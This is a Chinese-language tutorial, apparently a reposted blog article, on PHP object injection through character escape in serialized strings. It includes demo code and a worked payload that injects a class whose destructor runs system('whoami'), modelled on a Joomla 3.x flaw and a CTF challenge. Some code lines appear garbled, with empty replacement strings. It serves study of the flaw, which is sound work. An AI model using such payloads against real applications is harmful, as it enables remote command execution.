PHP字元逃逸導致的物件注入詳解

2020-07-16 10:05:51

1.漏洞產生原因:

序列化的字串在經過過濾函數不正確的處理而導致物件注入,目前看到都是因為過濾函數放在了serialize函數之後,要是放在序列化之前應該就不會產生這個問題

<?php
function filter($string){
  $a = str_replace('x','zz',$string);
   return $a;
}
$username = "tr1ple";
$password = "aaaaax";
$user = array($username, $password);
echo(serialize($user));
echo "n";
$r = filter(serialize($user));
echo($r);
echo "n";
var_dump(unserialize($r));
$a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';
var_dump(unserialize($a));

1.png

php特性:

1.PHP 在反序列化時,底層程式碼是以 ; 作為欄位的分隔,以 } 作為結尾(字串除外),並且是根據長度判斷內容的

2.對類中不存在的屬性也會進行反序列化

以上程式碼就明視訊記憶體在一個問題,即從序列化後的字串中明顯可以看到經過filter函數以後s:6對應的字串明顯變長了

並且如果對於a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa"; 這種字串而言,也能夠正常反序列化,說明php在反序列化的時候只要求一個反序列化字串塊合法即可,當然得是第一個字串塊

以上程式碼為例,如果能夠利用filter函數這種由一個字元變為兩個字元的特性來注入想要反序列化後得到的屬性,使其可以逃逸出更多可用的字串,那麼我們就能反序列化得到我們想要的屬性

比如此時我們想要讓反序列化後第二個字串為123456,此時我們的payload如果和之前的username長度為a,則filter處理以後可能username就會變成a,此時我們的payload變成了新的注入的屬性,此時反序列化後就會得到我們想要的結果,比如a:2:{i:0;s:6:"tr1ple";i:1;s:6:"123456";}是我們想要達到的效果,此時我們想要注入的payload明顯為:

";i:1;s:6:"123456";}

2.png

可以得到其長度為20

此時我們已經知道過濾的規則為x->yy,即注入一個x可以逃逸出一個字元的空位,那麼我們只需要注入20個x即可變成40個y,即可逃逸出20個空位,從而將我們的payload變為反序列化後得到的屬性值

$username = 'tr1plexxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'; //其中紅色就是我們想要注入的屬性值 
$password="aaaaa";
$user = array($username, $password);
echo(serialize($user));
echo "n";
$r = filter(serialize($user));
echo($r);
echo "n";
var_dump(unserialize($r));

3.png

可以看到此時注入屬性成功,反序列化後得到的屬性即為123456

2.範例分析

joomla3.0.0-3.4.6 物件注入導致的反序列化,以下為參考別人的簡易化核心漏洞程式碼

<?php
class evil{
    public $cmd;
    public function __construct($cmd){
        $this->cmd = $cmd;
    }
    public function __destruct(){
        system($this->cmd);
    }
}
class User
{
    public $username;
    public $password;
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }
}
function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '', $data);
    file_put_contents("dbs.txt", $data);
}
function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('', chr(0).'*'.chr(0), $data);
    return $r;
}
if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}
$username = "tr1ple";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

在這裡如果想要通過注入物件來實現反序列化則必須在外部物件內進行注入存在的屬性,不能在其外部,否則php將不會進行我們注入惡意物件的反序列化

例如此時因為反序列化讀取的時候將會將六位字元替換成三位字元chr(0)*chr(0),因此字串前面的s肯定是固定的,那麼s對應的字串變少以後將會吞掉其他屬性的字元,那麼如果我們精心算好吞掉的字元長度,並且能夠控制被吞掉屬性的內容,那麼就能夠注入物件,從而反序列化其他類

4.png

比如如上所示,此時我們要注入的物件為evil,此時username和password的值我們可控,那麼我們可以在username中注入,來吞掉password的值,比如

<?php
$a='';
echo strlen($a);
$b=str_replace('', chr(0).'*'.chr(0), $a);
echo strlen($b);

所以此時首先確定我們要吞掉的字元的長度

O:4:"User":2:{s:8:"username";s:6:"tr1ple";s:8:"password";s:4:"1234";}

正常情況下我們要吞掉 ";s:8:"password";s:4:" 為22位

5.png

但是因為注入的物件payload也在password欄位,並且長度肯定是>=10的,因此s肯定是兩位數,因此這裡為22+1=23位字元

因為是6->3,因此每次新增一組能多吞掉3個字元,因此需要肯定都是3的倍數

因此我們假如這裡構造username為

6.png

則經過read函數處理後長度將變為24

7.png

即此時能夠多吞掉24個字元,為了不讓其吞掉payload,我們可以填充1位字元A,即令password的值為A+payload即可

<?php
class evil{
    public $cmd;
    public function __construct($cmd){
        $this->cmd = $cmd;
    }
    public function __destruct(){
        system($this->cmd);
    }
}
class User
{
    public $username;
    public $password;
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }
}
function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '', $data);
    file_put_contents("dbs.txt", $data);
}
function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('', chr(0).'*'.chr(0), $data);
    return $r;
}
if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}
$username = "";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; $shellcode=$password.$payload; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

8.png

執行結果如上圖所示,將成功反序列化password屬性所對應的值,其值即為我們注入的物件,整個過程也容易理解,就是吞掉後面的屬性來注入屬性,那麼達到攻擊有以下要求:

1.相鄰兩個屬性的值是我們可以控制的

2.前一個屬性的s長度可以發生變化,變長變短都可以,變短的話可以吞掉後面相鄰屬性的值,然後在相鄰屬性中注入新的物件,如果邊長則可以直接在該屬性中注入物件來達到反序列化

比如XNUCA2018 hardphp就考察了一個這個相關的trick

這裡就出現了用前面的data在反序列化時向後吞一位字元,從而可以導致吞掉後面的普通使用者的username欄位,而在username欄位可以放上我們想要偽造的username,從而達到偽造session的目的

以上就是PHP字元逃逸導致的物件注入詳解的詳細內容,更多請關注TW511.COM其它相關文章!